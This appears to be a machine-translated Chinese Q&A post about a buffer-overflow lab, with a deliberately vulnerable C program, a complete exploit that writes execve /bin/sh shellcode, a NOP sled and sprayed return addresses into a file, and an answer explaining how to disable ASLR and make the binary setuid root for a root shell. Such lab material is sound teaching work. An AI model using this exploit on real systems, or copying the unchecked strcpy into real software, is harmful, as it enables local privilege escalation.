下面是我的代码,包括易受攻击的程序(stack.c)和我的漏洞利用(exploit.c)。这段代码适用于教程发送给Windows用户的预先打包的Ubuntu 9(我有一个朋友在他的计算机上测试它),但是在我运行iMac的Ubuntu 12上,当我尝试这样做时,我得到段错误在普通用户中。
这是堆栈:
//stack.c
#include <stdio.h>
int bof(char *str)
{
char buffer[12];
//BO Vulnerability
strcpy(buffer,str);
return 1;
}
int main(int argc, char* argv[])
{
char str[517];
FILE *badfile;
badfile = fopen("badfile","r");
fread(str, sizeof(char),517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
并利用:
//exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define DEFAULT_OFFSET 350
char code[]=
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
;
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
char *ptr;
long *a_ptr,ret;
int offset = DEFAULT_OFFSET;
int codeSize = sizeof(code);
int buffSize = sizeof(buffer);
if(argc > 1) offset = atoi(argv[1]); //allows for command line input
ptr=buffer;
a_ptr = (long *) ptr;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(buffer, 0x90, buffSize);
//----------------------BEGIN FILL BUFFER----------------------\\
ret = get_sp()+offset;
printf("Return Address: 0x%x\n",get_sp());
printf("Address: 0x%x\n",ret);
ptr = buffer;
a_ptr = (long *) ptr;
int i;
for (i = 0; i < 300;i+=4)
*(a_ptr++) = ret;
for(i = 486;i < codeSize + 486;++i)
buffer[i] = code[i-486];
buffer[buffSize - 1] = '\0';
//-----------------------END FILL BUFFER-----------------------\\
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer,517,1,badfile);
fclose(badfile);
}
要在Ubuntu 12中编译这些,我用过:
gcc -o stack -fno-stack-protector -g -z execstack stack.c
gcc -o exploit exploit.c
同样,它适用于root用户,而不是普通用户;
无论如何,这应该是在午夜时分,我在这个限制中完成了剩下的任务,但如果有人提出建议,我宁愿完全正确地完成它。我想在投入毛巾之前打电话给专家。我希望看到为什么这个代码不能在普通用户中工作(因为它应该在旧版本的ubuntu上工作),但在root用户中工作。我还需要做些什么改变才能让普通用户工作呢。
答案 0 :(得分:0)
我刚刚运行了你在Ubuntu 12.04 VM上提供的代码并且运行正常。我的猜测是你没有关闭ASLR。通过
禁用ASLR再次尝试sudo su
echo 0 > /proc/sys/kernel/randomize_va_space
exit
或
setarch `uname -i` -R ./stack
当然为了生成root shell,你需要先做:
sudo chown root:root stack
sudo chmod u+s stack
希望这会有所帮助......